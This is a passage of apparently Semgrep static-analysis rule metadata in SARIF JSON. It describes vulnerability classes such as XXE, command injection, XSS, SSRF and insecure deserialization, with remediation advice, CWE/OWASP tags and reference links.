parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","id":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","name":"kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxtransformerfactory-xxe.saxtransformerfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"help":{"markdown":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection)\n - [https://owasp.org/www-community/attacks/Command_Injection](https://owasp.org/www-community/attacks/Command_Injection)\n","text":"The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.injections.os-command.os-command-injection","id":"csharp.lang.security.injections.os-command.os-command-injection","name":"csharp.lang.security.injections.os-command.os-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.injections.os-command.os-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"help":{"markdown":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use)\n - [https://docs.python.org/3/library/subprocess.html](https://docs.python.org/3/library/subprocess.html)\n - [https://docs.python.org/3/library/shlex.html](https://docs.python.org/3/library/shlex.html)\n","text":"Detected subprocess function with argument tainted by an `event` object.  If this data can be controlled by a malicious actor, it may be an instance of command injection. The default option for `shell` is False, and this is secure by default. Consider removing the `shell=True` or setting it to False explicitely. Using `shell=False` means you have to split the command string into an array of strings for the command and its arguments. You may consider using 'shlex.split()' for this purpose."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","id":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","name":"python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.dangerous-subprocess-use.dangerous-subprocess-use"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","id":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","name":"python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-missing.django-cookie-httponly-missing"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"help":{"markdown":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/template_injection/index.markdown)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'content_tag()' bypasses HTML escaping for some portion of the content. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. Ensure no external data reaches here. If you must do this, create your HTML manually and use 'html_safe'. Ensure no external data enters the HTML-safe string!"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"help":{"markdown":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url)\n - [https://golang.org/pkg/html/template/#URL](https://golang.org/pkg/html/template/#URL)\n","text":"Found a formatted template string passed to 'template.URL()'. 'template.URL()' does not escape contents, and this could result in XSS (cross-site scripting) and therefore confidential data being stolen. Sanitize data coming into this function or make sure that no user-controlled input is coming into the function."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","id":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","name":"go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-url.unescaped-data-in-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"help":{"markdown":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off)\n - [https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape](https://docs.djangoproject.com/en/3.1/ref/templates/builtins/#autoescape)\n","text":"Detected a template block where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Turn autoescaping on to prevent cross-site scripting (XSS). If you must do this, consider instead, using `mark_safe` in Python code."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","id":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","name":"python.django.security.audit.xss.template-autoescape-off.template-autoescape-off","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.template-autoescape-off.template-autoescape-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"help":{"markdown":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis)\n - [https://mas.owasp.org/MASVS/10-MASVS-CODE/](https://mas.owasp.org/MASVS/10-MASVS-CODE/)\n","text":"APIs (namely ptrace) were identified which are forbidden from iOS appstore applications. The application should avoid calling such APIs, as this may result in a blocker during app store review."},"helpUri":"https://semgrep.dev/r/swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","id":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","name":"swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis","properties":{"precision":"very-high","tags":["CWE-477: Use of Obsolete Function","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.forbidden.forbidden-ios-api.swift-forbidden-ios-apis"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"help":{"markdown":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#host-namespaces)\n","text":"Pod is sharing the host IPC namespace. This allows container processes to communicate with processes on the host which reduces isolation and bypasses container protection models. Remove the 'hostIPC' key to disable this functionality."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.hostipc-pod.hostipc-pod","id":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","name":"yaml.kubernetes.security.hostipc-pod.hostipc-pod","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.hostipc-pod.hostipc-pod"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","id":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","name":"python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-torch-pickle-fastapi.tainted-torch-pickle-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi)\n - [https://fastapi.tiangolo.com/advanced/templates/](https://fastapi.tiangolo.com/advanced/templates/)\n - [https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse](https://fastapi.tiangolo.com/uk/advanced/custom-response/#htmlresponse)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. When returning a String in FastAPI views, the default content type is 'text/plain'. This means that any injected HTML or JavaScript will be rendered as text and not as HTML. So this can not lead to XSS and is secure by default. Turning this behavior off and setting the content type to 'text/html' by setting the `response_class` to `HTMLResponse` or wrapping the string in `HTMLResponse` is not recommended. If you need to return HTML, use templates such as Jinja2 or other template engines."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","id":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","name":"python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.tainted-direct-response-fastapi.tainted-direct-response-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"help":{"markdown":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"The object is passed strictly to jsonwebtoken.sign(...) Make sure that sensitive information is not exposed through JWT token payload."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","id":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","name":"javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-exposed-data.jwt-exposed-data"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"help":{"markdown":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method)\n - [https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape](https://docs.djangoproject.com/en/3.0/_modules/django/utils/html/#conditional_escape)\n - [https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5](https://gist.github.com/minusworld/7885d8a81dba3ea2d1e4b8fd3c218ef5)\n","text":"The `__html__` method indicates to the Django template engine that the value is 'safe' for rendering. This means that normal HTML escaping will not be applied to the return value. This exposes your application to cross-site scripting (XSS) vulnerabilities. If you need to render raw HTML, consider instead using `mark_safe()` which more clearly marks the intent to render raw HTML than a class with a magic method."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.html-magic-method.html-magic-method","id":"python.django.security.audit.xss.html-magic-method.html-magic-method","name":"python.django.security.audit.xss.html-magic-method.html-magic-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.html-magic-method.html-magic-method"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection)\n - [https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html](https://beaglesecurity.com/blog/vulnerability/curl-file-support-is-not-fixed.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the user input, and use safe methods for executing the commands. In PHP, it is possible to use `escapeshellcmd(...)` and `escapeshellarg(...)` to correctly sanitize user input that is used respectively as system commands or command arguments. User input going into `curl_exec` or `curl_multi_exec` might lead to Server-Side Request Forgery (SSRF), which you can avoid by using an allowlist of permitted URLs."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-curl-injection.tainted-curl-injection","id":"php.lang.security.tainted-curl-injection.tainted-curl-injection","name":"php.lang.security.tainted-curl-injection.tainted-curl-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-curl-injection.tainted-curl-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint.java-http-concat-taint)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 